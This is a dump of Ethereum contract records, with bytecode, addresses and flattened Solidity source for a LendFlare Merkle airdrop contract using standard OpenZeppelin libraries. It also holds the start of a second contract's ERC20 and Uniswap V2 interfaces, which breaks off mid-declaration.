57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250505b6001600160a01b0386166338ed1739846000843061327942603c61256d565b6040518663ffffffff1660e01b815260040161329995949392919061376d565b600060405180830381600087803b1580156132b357600080fd5b505af19250505080156132e857506040513d6000823e601f3d908101601f191682016040526132e5919081019061353e565b60015b6132f6576000915050612fec565b5060019695505050505050565b6060824710156133645760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610991565b843b6133b25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610991565b600080866001600160a01b031685876040516133ce91906136b1565b60006040518083038185875af1925050503d806000811461340b576040519150601f19603f3d011682016040523d82523d6000602084013e613410565b606091505b509150915061342082828661342b565b979650505050505050565b6060831561343a5750816124e7565b82511561344a5782518084602001fd5b8160405162461bcd60e51b815260040161099191906136cd565b600060208284031215613475578081fd5b81356124e7816138d8565b600060208284031215613491578081fd5b81516124e7816138d8565b600080604083850312156134ae578081fd5b82356134b9816138d8565b915060208381013567ffffffffffffffff808211156134d6578384fd5b818601915086601f8301126134e9578384fd5b8135818111156134fb576134fb6138c2565b61350d601f8201601f191685016137dd565b91508082528784828501011115613522578485fd5b8084840185840137810190920192909252919491935090915050565b60006020808385031215613550578182fd5b825167ffffffffffffffff80821115613567578384fd5b818501915085601f83011261357a578384fd5b81518181111561358c5761358c6138c2565b838102915061359c8483016137dd565b8181528481019084860184860187018a10156135b6578788fd5b8795505b838610156135d85780518352600195909501949186019186016135ba565b5098975050505050505050565b6000602082840312156135f6578081fd5b815180151581146124e7578182fd5b600060208284031215613616578081fd5b5035919050565b60006020828403121561362e578081fd5b5051919050565b60008060408385031215613647578182fd5b505080516020909101519092909150565b60008060006060848603121561366c578081fd5b8351925060208401519150604084015190509250925092565b6000815180845261369d81602086016020860161387c565b601f01601f19169290920160200192915050565b600082516136c381846020870161387c565b9190910192915050565b6000602082526124e76020830184613685565b6020808252600b908201526a21676f7665726e616e636560a81b604082015260600190565b6020808252600b908201526a10b1b7b73a3937b63632b960a91b604082015260600190565b602080825260069082015265085b941bdbdb60d21b604082015260600190565b6020808252600990820152682174696d656c6f636b60b81b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156137bc5784516001600160a01b031683529383019391830191600101613797565b50506001600160a01b03969096166060850152505050608001529392505050565b604051601f8201601f1916810167ffffffffffffffff81118282101715613806576138066138c2565b604052919050565b60008219821115613821576138216138ac565b500190565b60008261384157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615613860576138606138ac565b500290565b600082821015613877576138776138ac565b500390565b60005b8381101561389757818101518382015260200161387f565b838111156138a6576000848401525b50505050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461237c57600080fdfe000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000000000000000000000000d9e1ce17f2641f24ae83637ab66a2cca9c378b9fa2646970667358221220ac0a4ae6d9f043c8d64798ca15df2766b873648d6f7f3bd4bd0001f165357b7064736f6c63430008020033
[ 16, 5 ]
0xf23801F0C81b8e31CE95bC980EcAF069d296857C
// SPDX-License-Identifier: UNLICENSED /* _ _ _____ _ | | ___ _ __ __| | | ___| | | __ _ _ __ ___ | | / _ \ | '_ \ / _` | | |_ | | / _` | | '__| / _ \ | |___ | __/ | | | | | (_| | | _| | | | (_| | | | | __/ |_____| \___| |_| |_| \__,_| |_| |_| \__,_| |_| \___| LendFlare.finance */ pragma solidity =0.6.12; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract MerkleAirdrop { using SafeERC20 for IERC20; struct Layer { address token; uint96 startTime; uint96 endTime; mapping(uint256 => uint256) claimed; } mapping(bytes32 => Layer) public layers; address public owner; event Claimed(address account, address token, uint256 amount); event SetOwner(address owner); modifier onlyOwner() { require(owner == msg.sender, "caller is not the owner"); _; } function setOwner(address _owner) public onlyOwner { owner = _owner; emit SetOwner(_owner); } constructor(address _owner) public { owner = _owner; } function newlayer( bytes32 merkleRoot, address token, uint96 startTime, uint96 endTime ) external onlyOwner { require( layers[merkleRoot].token == address(0), "merkleRoot already register" ); require(merkleRoot != bytes32(0), "empty root"); require(token != address(0), "empty token"); require(startTime < endTime, "wrong dates"); Layer storage _layer = layers[merkleRoot]; _layer.token = token; _layer.startTime = startTime; _layer.endTime = endTime; } function isClaimed(bytes32 merkleRoot, uint256 index) public view returns (bool) { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; uint256 claimedWord = layers[merkleRoot].claimed[claimedWordIndex]; uint256 mask = (1 << claimedBitIndex); return claimedWord & mask == mask; } function _setClaimed(bytes32 merkleRoot, uint256 index) private { uint256 claimedWordIndex = index / 256; uint256 claimedBitIndex = index % 256; layers[merkleRoot].claimed[claimedWordIndex] = layers[merkleRoot].claimed[claimedWordIndex] | (1 << claimedBitIndex); } function claim( uint256 index, address account, uint256 amount, bytes32[] calldata merkleProofs ) external { bytes32 leaf = keccak256(abi.encodePacked(index, account, amount)); bytes32 merkleRoot = processProof(merkleProofs, leaf); require(layers[merkleRoot].token != address(0), "empty token"); require( layers[merkleRoot].startTime < block.timestamp && layers[merkleRoot].endTime >= block.timestamp, "out of time" ); require(!isClaimed(merkleRoot, index), "already claimed"); _setClaimed(merkleRoot, index); IERC20(layers[merkleRoot].token).safeTransfer(account, amount); emit Claimed(account, address(layers[merkleRoot].token), amount); } function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) public pure returns (bool) { return processProof(proof, leaf) == root; } function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = keccak256( abi.encodePacked(computedHash, proofElement) ); } else { // Hash(current element of the proof + current computed hash) computedHash = keccak256( abi.encodePacked(proofElement, computedHash) ); } } return computedHash; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806385f5276f1161005b57806385f5276f146101f25780638da5cb5b14610215578063c6bd6e8a14610239578063c6deeb0f1461027c5761007d565b806313af4035146100825780632e7ba6ef146100aa5780635a9a49c714610136575b600080fd5b6100a86004803603602081101561009857600080fd5b50356001600160a01b03166102cb565b005b6100a8600480360360808110156100c057600080fd5b8135916001600160a01b0360208201351691604082013591908101906080810160608201356401000000008111156100f757600080fd5b82018360208201111561010957600080fd5b8035906020019184602083028401116401000000008311171561012b57600080fd5b509092509050610378565b6101de6004803603606081101561014c57600080fd5b81019060208101813564010000000081111561016757600080fd5b82018360208201111561017957600080fd5b8035906020019184602083028401116401000000008311171561019b57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955050823593505050602001356105bb565b604080519115158252519081900360200190f35b6101de6004803603604081101561020857600080fd5b50803590602001356105d3565b61021d610605565b604080516001600160a01b039092168252519081900360200190f35b6100a86004803603608081101561024f57600080fd5b508035906001600160a01b03602082013516906001600160601b0360408201358116916060013516610614565b6102996004803603602081101561029257600080fd5b5035610810565b604080516001600160a01b0390941684526001600160601b039283166020850152911682820152519081900360600190f35b6001546001600160a01b03163314610324576040805162461bcd60e51b815260206004820152601760248201527631b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b600180546001600160a01b0383166001600160a01b0319909116811790915560408051918252517f167d3e9c1016ab80e58802ca9da10ce5c6a0f4debc46a2e7a2cd9e56899a4fb59181900360200190a150565b6040805160208082018890526bffffffffffffffffffffffff19606088901b16828401526054808301879052835180840390910181526074830180855281519183019190912060949286028085018401909552858252936000936103f8938892889283920190849080828437600092019190915250869250610848915050565b6000818152602081905260409020549091506001600160a01b0316610452576040805162461bcd60e51b815260206004820152600b60248201526a32b6b83a3c903a37b5b2b760a91b604482015290519081900360640190fd5b60008181526020819052604090205442600160a01b9091046001600160601b031610801561049c5750600081815260208190526040902060010154426001600160601b0390911610155b6104db576040805162461bcd60e51b815260206004820152600b60248201526a6f7574206f662074696d6560a81b604482015290519081900360640190fd5b6104e581886105d3565b15610529576040805162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e4818db185a5b5959608a1b604482015290519081900360640190fd5b61053381886108ee565b600081815260208190526040902054610556906001600160a01b03168787610921565b600081815260208181526040918290205482516001600160a01b03808b1682529091169181019190915280820187905290517ff7a40077ff7a04c7e61f6f26fb13774259ddf1b6bce9ecf26a8276cdd39926839181900360600190a150505050505050565b6000826105c88584610848565b1490505b9392505050565b6000918252602082815260408084206101008404855260020190915290912054600160ff9092169190911b9081161490565b6001546001600160a01b031681565b6001546001600160a01b0316331461066d576040805162461bcd60e51b815260206004820152601760248201527631b0b63632b91034b9903737ba103a34329037bbb732b960491b604482015290519081900360640190fd5b6000848152602081905260409020546001600160a01b0316156106d7576040805162461bcd60e51b815260206004820152601b60248201527f6d65726b6c65526f6f7420616c72656164792072656769737465720000000000604482015290519081900360640190fd5b83610716576040805162461bcd60e51b815260206004820152600a602482015269195b5c1d1e481c9bdbdd60b21b604482015290519081900360640190fd5b6001600160a01b03831661075f576040805162461bcd60e51b815260206004820152600b60248201526a32b6b83a3c903a37b5b2b760a91b604482015290519081900360640190fd5b806001600160601b0316826001600160601b0316106107b3576040805162461bcd60e51b815260206004820152600b60248201526a77726f6e6720646174657360a81b604482015290519081900360640190fd5b60009384526020849052604090932080546001600160a01b0319166001600160a01b0393841617909216600160a01b6001600160601b0392831602178255600190910180546bffffffffffffffffffffffff191691909216179055565b600060208190529081526040902080546001909101546001600160a01b038216916001600160601b03600160a01b9091048116911683565b600081815b84518110156108e657600085828151811061086457fe5b602002602001015190508083116108ab57828160405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092506108dd565b808360405160200180838152602001828152602001925050506040516020818303038152906040528051906020012092505b5060010161084d565b509392505050565b600091825260208281526040808420610100840485526002019091529091208054600160ff9093169290921b9091179055565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610973908490610978565b505050565b60606109cd826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610a299092919063ffffffff16565b805190915015610973578080602001905160208110156109ec57600080fd5b50516109735760405162461bcd60e51b815260040180806020018281038252602a815260200180610c6d602a913960400191505060405180910390fd5b6060610a388484600085610a40565b949350505050565b606082471015610a815760405162461bcd60e51b8152600401808060200182810382526026815260200180610c476026913960400191505060405180910390fd5b610a8a85610b9c565b610adb576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b60208310610b1a5780518252601f199092019160209182019101610afb565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610b7c576040519150601f19603f3d011682016040523d82523d6000602084013e610b81565b606091505b5091509150610b91828286610ba2565b979650505050505050565b3b151590565b60608315610bb15750816105cc565b825115610bc15782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610c0b578181015183820152602001610bf3565b50505050905090810190601f168015610c385780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122047436aa0ad89fa19a6c47db24f3bef94558e8797f59649516cb316f902666bbf64736f6c634300060c0033
[ 38 ]
0xf238922cfac1ef95b570c912a59654f8a2b8437c
// SPDX-License-Identifier: MIT pragma solidity 0.7.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function migrator() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; function setMigrator(address) external; } library SafeMathUniswap { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint 